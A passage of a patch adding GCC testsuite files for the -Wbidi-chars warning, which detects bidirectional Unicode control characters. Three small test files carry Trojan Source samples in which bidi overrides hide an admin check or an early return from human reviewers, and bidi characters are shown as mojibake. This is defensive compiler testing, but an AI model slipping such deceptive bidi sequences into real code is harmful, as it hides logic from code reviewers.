++const char *s9 = R"(a b c PDF⬠x y z)";
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
+diff -uprN '-x*.orig' '-x*.rej' del/gcc-11.2.0/gcc/testsuite/c-c++-common/Wbidi-chars-13.c gcc-11.2.0/gcc/testsuite/c-c++-common/Wbidi-chars-13.c
+--- del/gcc-11.2.0/gcc/testsuite/c-c++-common/Wbidi-chars-13.c 1969-12-31 16:00:00.000000000 -0800
++++ gcc-11.2.0/gcc/testsuite/c-c++-common/Wbidi-chars-13.c 2021-12-13 23:11:22.328439287 -0800
+@@ -0,0 +1,17 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile { target { c || c++11 } } } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test raw strings. */
++
++const char *s1 = R"(a b c LRE⪠1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s2 = R"(a b c RLEâ« 1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s3 = R"(a b c LROâ­ 1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s4 = R"(a b c FSI⨠1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s5 = R"(a b c LRI⦠1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++const char *s6 = R"(a b c RLI⧠1 2 3)";
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-14.c b/gcc/testsuite/c-c++-common/Wbidi-chars-14.c
+new file mode 100644
+index 00000000000..ba5f75d9553
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-14.c
+@@ -0,0 +1,38 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test PDI handling, which also pops any subsequent LREs, RLEs, LROs,
++ or RLOs. */
++
++/* LRI_â¦_LRI_â¦_RLE_â«_RLE_â«_RLE_â«_PDI_â©*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++// LRI_â¦_RLE_â«_RLE_â«_RLE_â«_PDI_â©
++// LRI_â¦_RLO_â®_RLE_â«_RLE_â«_PDI_â©
++// LRI_â¦_RLO_â®_RLE_â«_PDI_â©
++// FSI_â¨_RLO_â®_PDI_â©
++// FSI_â¨_FSI_â¨_RLO_â®_PDI_â©
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++int LRI_\u2066_LRI_\u2066_LRE_\u202a_LRE_\u202a_LRE_\u202a_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int LRI_\u2066_LRI_\u2066_LRE_\u202a_LRE_\u202a_LRE_\u202a_PDI_\u2069_PDI_\u2069;
++int LRI_\u2066_LRI_\u2066_LRI_\u2066_LRE_\u202a_LRE_\u202a_LRE_\u202a_PDI_\u2069_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int PDI_\u2069;
++int LRI_\u2066_PDI_\u2069;
++int RLI_\u2067_PDI_\u2069;
++int LRE_\u202a_LRI_\u2066_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int LRI_\u2066_LRE_\u202a_PDF_\u202c_PDI_\u2069;
++int LRI_\u2066_LRE_\u202a_LRE_\u202a_PDF_\u202c_PDI_\u2069;
++int RLI_\u2067_LRI_\u2066_LRE_\u202a_LRE_\u202a_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int FSI_\u2068_LRI_\u2066_LRE_\u202a_LRE_\u202a_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLO_\u202e_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLI_\u2067_PDI_\u2069_RLI_\u2067;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int FSI_\u2068_PDF_\u202c_PDI_\u2069;
++int FSI_\u2068_FSI_\u2068_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-15.c b/gcc/testsuite/c-c++-common/Wbidi-chars-15.c
+new file mode 100644
+index 00000000000..a0ce8ff5e2c
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-15.c
+@@ -0,0 +1,59 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test unpaired bidi control chars in multiline comments. */
++
++/*
++ * LRE⪠end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * RLEâ« end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * LROâ­ end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * RLOâ® end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * LRI⦠end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * RLI⧠end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/*
++ * FSI⨠end
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/* LREâª
++ PDF⬠*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++/* FSIâ¨
++ PDIâ© */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++
++/* LRE<âª>
++ *
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-3 } */
++
++/*
++ * LRE<âª>
++ */
++/* { dg-warning "unpaired" "" { target *-*-* } .-2 } */
++
++/*
++ *
++ * LRE<âª> */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++
++/* RLI<â§> */ /* PDI<â©> */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++/* LRE<âª> */ /* PDF<â¬> */
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-16.c b/gcc/testsuite/c-c++-common/Wbidi-chars-16.c
+new file mode 100644
+index 00000000000..baa0159861c
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-16.c
+@@ -0,0 +1,26 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=any" } */
++/* Test LTR/RTL chars. */
++
++/* LTR<â> */
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++// LTR<â>
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++/* RTL<â> */
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
++// RTL<â>
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
++
++const char *s1 = "LTR<â>";
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++const char *s2 = "LTR\u200e";
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++const char *s3 = "LTR\u200E";
++/* { dg-warning "U\\+200E" "" { target *-*-* } .-1 } */
++const char *s4 = "RTL<â>";
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
++const char *s5 = "RTL\u200f";
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
++const char *s6 = "RTL\u200F";
++/* { dg-warning "U\\+200F" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-17.c b/gcc/testsuite/c-c++-common/Wbidi-chars-17.c
+new file mode 100644
+index 00000000000..07cb4321f96
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-17.c
+@@ -0,0 +1,30 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test LTR/RTL chars. */
++
++/* LTR<â> */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// LTR<â>
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* RTL<â> */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// RTL<â>
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int ltr_\u200e;
++/* { dg-error "universal character " "" { target *-*-* } .-1 } */
++int rtl_\u200f;
++/* { dg-error "universal character " "" { target *-*-* } .-1 } */
++
++const char *s1 = "LTR<â>";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s2 = "LTR\u200e";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s3 = "LTR\u200E";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s4 = "RTL<â>";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s5 = "RTL\u200f";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++const char *s6 = "RTL\u200F";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-1.c b/gcc/testsuite/c-c++-common/Wbidi-chars-1.c
+new file mode 100644
+index 00000000000..2340374f276
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-1.c
+@@ -0,0 +1,12 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++
++int main() {
++ int isAdmin = 0;
++ /*â® } â¦if (isAdmin)⩠⦠begin admins only */
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++ __builtin_printf("You are an admin.\n");
++ /* end admins only â® { â¦*/
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++ return 0;
++}
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-2.c b/gcc/testsuite/c-c++-common/Wbidi-chars-2.c
+new file mode 100644
+index 00000000000..2340374f276
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-2.c
+@@ -0,0 +1,9 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++
++int main() {
++ /* Say hello; newlineâ§/*/ return 0 ;
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++ __builtin_printf("Hello world.\n");
++ return 0;
++}
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-3.c b/gcc/testsuite/c-c++-common/Wbidi-chars-3.c
+new file mode 100644
+index 00000000000..9dc7edb6e64
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-3.c
+@@ -0,0 +1,11 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++
++int main() {
++ const char* access_level = "user";
++ if (__builtin_strcmp(access_level, "userâ® â¦// Check if adminâ© â¦")) {
++/* { dg-warning "bidirectional" "" { target *-*-* } .-1 } */
++ __builtin_printf("You are an admin.\n");
++ }
++ return 0;
++}
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-4.c b/gcc/testsuite/c-c++-common/Wbidi-chars-4.c
+new file mode 100644
+index 00000000000..639e5c62e88
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-4.c
+@@ -0,0 +1,188 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=any -Wno-multichar -Wno-overflow" } */
++/* Test all bidi chars in various contexts (identifiers, comments,
++ string literals, character constants), both UCN and UTF-8. The bidi
++ chars here are properly terminated, except for the character constants. */
++
++/* a b c LRE⪠1 2 3 PDF⬠x y z */
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++/* a b c RLE⫠1 2 3 PDF⬠x y z */
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++/* a b c LRO⭠1 2 3 PDF⬠x y z */
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++/* a b c RLO⮠1 2 3 PDF⬠x y z */
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++/* a b c LRI⦠1 2 3 PDI⩠x y z */
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++/* a b c RLI⧠1 2 3 PDI⩠x y */
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++/* a b c FSI⨠1 2 3 PDI⩠x y z */
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++
++/* Same but C++ comments instead. */
++// a b c LRE⪠1 2 3 PDF⬠x y z
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++// a b c RLE⫠1 2 3 PDF⬠x y z
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++// a b c LRO⭠1 2 3 PDF⬠x y z
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++// a b c RLO⮠1 2 3 PDF⬠x y z
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++// a b c LRI⦠1 2 3 PDI⩠x y z
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++// a b c RLI⧠1 2 3 PDI⩠x y
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++// a b c FSI⨠1 2 3 PDI⩠x y z
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++
++/* Here we're closing an unopened context, warn when =any. */
++/* a b c PDIâ© x y z */
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++/* a b c PDF⬠x y z */
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++// a b c PDIâ© x y z
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++// a b c PDF⬠x y z
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++
++/* Multiline comments. */
++/* a b c PDIâ© x y z
++ */
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-2 } */
++/* a b c PDF⬠x y z
++ */
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDIâ© x y z
++ */
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDF⬠x y z
++ */
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDIâ© x y z */
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++/* first
++ a b c PDF⬠x y z */
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++
++void
++g1 ()
++{
++ const char *s1 = "a b c LRE⪠1 2 3 PDF⬠x y z";
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char *s2 = "a b c RLE⫠1 2 3 PDF⬠x y z";
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char *s3 = "a b c LRO⭠1 2 3 PDF⬠x y z";
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char *s4 = "a b c RLO⮠1 2 3 PDF⬠x y z";
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char *s5 = "a b c LRI⦠1 2 3 PDI⩠x y z";
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++ const char *s6 = "a b c RLI⧠1 2 3 PDI⩠x y z";
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++ const char *s7 = "a b c FSI⨠1 2 3 PDI⩠x y z";
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++ const char *s8 = "a b c PDIâ© x y z";
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
++ const char *s9 = "a b c PDF⬠x y z";
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++
++ const char *s10 = "a b c LRE\u202a 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char *s11 = "a b c LRE\u202A 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char *s12 = "a b c RLE\u202b 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char *s13 = "a b c RLE\u202B 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char *s14 = "a b c LRO\u202d 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char *s15 = "a b c LRO\u202D 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char *s16 = "a b c RLO\u202e 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char *s17 = "a b c RLO\u202E 1 2 3 PDF\u202c x y z";
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char *s18 = "a b c LRI\u2066 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++ const char *s19 = "a b c RLI\u2067 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++ const char *s20 = "a b c FSI\u2068 1 2 3 PDI\u2069 x y z";
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++}
++
++void
++g2 ()
++{
++ const char c1 = '\u202a';
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char c2 = '\u202A';
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++ const char c3 = '\u202b';
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char c4 = '\u202B';
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++ const char c5 = '\u202d';
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char c6 = '\u202D';
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++ const char c7 = '\u202e';
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char c8 = '\u202E';
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++ const char c9 = '\u2066';
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++ const char c10 = '\u2067';
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++ const char c11 = '\u2068';
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++}
++
++int aâªbâ¬c;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int aâ«bâ¬c;
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++int aâ­bâ¬c;
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++int aâ®bâ¬c;
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++int aâ¦bâ©c;
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++int aâ§bâ©c;
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++int aâ¨bâ©c;
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++int Aâ¬X;
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++int A\u202cY;
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++int A\u202CY2;
++/* { dg-warning "U\\+202C" "" { target *-*-* } .-1 } */
++
++int d\u202ae\u202cf;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int d\u202Ae\u202cf2;
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++int d\u202be\u202cf;
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++int d\u202Be\u202cf2;
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++int d\u202de\u202cf;
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++int d\u202De\u202cf2;
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++int d\u202ee\u202cf;
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++int d\u202Ee\u202cf2;
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++int d\u2066e\u2069f;
++/* { dg-warning "U\\+2066" "" { target *-*-* } .-1 } */
++int d\u2067e\u2069f;
++/* { dg-warning "U\\+2067" "" { target *-*-* } .-1 } */
++int d\u2068e\u2069f;
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++int X\u2069;
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-5.c b/gcc/testsuite/c-c++-common/Wbidi-chars-5.c
+new file mode 100644
+index 00000000000..68cb053144b
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-5.c
+@@ -0,0 +1,188 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired -Wno-multichar -Wno-overflow" } */
++/* Test all bidi chars in various contexts (identifiers, comments,
++ string literals, character constants), both UCN and UTF-8. The bidi
++ chars here are properly terminated, except for the character constants. */
++
++/* a b c LRE⪠1 2 3 PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLE⫠1 2 3 PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c LRO⭠1 2 3 PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLO⮠1 2 3 PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c LRI⦠1 2 3 PDI⩠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c RLI⧠1 2 3 PDI⩠x y */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c FSI⨠1 2 3 PDI⩠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++/* Same but C++ comments instead. */
++// a b c LRE⪠1 2 3 PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLE⫠1 2 3 PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c LRO⭠1 2 3 PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLO⮠1 2 3 PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c LRI⦠1 2 3 PDI⩠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c RLI⧠1 2 3 PDI⩠x y
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c FSI⨠1 2 3 PDI⩠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++/* Here we're closing an unopened context, warn when =any. */
++/* a b c PDIâ© x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* a b c PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c PDIâ© x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++// a b c PDF⬠x y z
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++/* Multiline comments. */
++/* a b c PDIâ© x y z
++ */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-2 } */
++/* a b c PDF⬠x y z
++ */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDIâ© x y z
++ */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDF⬠x y z
++ */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-2 } */
++/* first
++ a b c PDIâ© x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++/* first
++ a b c PDF⬠x y z */
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++void
++g1 ()
++{
++ const char *s1 = "a b c LRE⪠1 2 3 PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s2 = "a b c RLE⫠1 2 3 PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s3 = "a b c LRO⭠1 2 3 PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s4 = "a b c RLO⮠1 2 3 PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s5 = "a b c LRI⦠1 2 3 PDI⩠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s6 = "a b c RLI⧠1 2 3 PDI⩠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s7 = "a b c FSI⨠1 2 3 PDI⩠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s8 = "a b c PDIâ© x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s9 = "a b c PDF⬠x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++ const char *s10 = "a b c LRE\u202a 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s11 = "a b c LRE\u202A 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s12 = "a b c RLE\u202b 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s13 = "a b c RLE\u202B 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s14 = "a b c LRO\u202d 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s15 = "a b c LRO\u202D 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s16 = "a b c RLO\u202e 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s17 = "a b c RLO\u202E 1 2 3 PDF\u202c x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s18 = "a b c LRI\u2066 1 2 3 PDI\u2069 x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s19 = "a b c RLI\u2067 1 2 3 PDI\u2069 x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++ const char *s20 = "a b c FSI\u2068 1 2 3 PDI\u2069 x y z";
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++}
++
++void
++g2 ()
++{
++ const char c1 = '\u202a';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c2 = '\u202A';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c3 = '\u202b';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c4 = '\u202B';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c5 = '\u202d';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c6 = '\u202D';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c7 = '\u202e';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c8 = '\u202E';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c9 = '\u2066';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c10 = '\u2067';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++ const char c11 = '\u2068';
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++}
++
++int aâªbâ¬c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ«bâ¬c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ­bâ¬c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ®bâ¬c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ¦bâ©c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ§bâ©c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int aâ¨bâ©c;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int Aâ¬X;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int A\u202cY;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int A\u202CY2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++
++int d\u202ae\u202cf;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202Ae\u202cf2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202be\u202cf;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202Be\u202cf2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202de\u202cf;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202De\u202cf2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202ee\u202cf;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u202Ee\u202cf2;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u2066e\u2069f;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u2067e\u2069f;
++/* { dg-bogus "unpaired" "" { target *-*-* } .-1 } */
++int d\u2068e\u2069f;
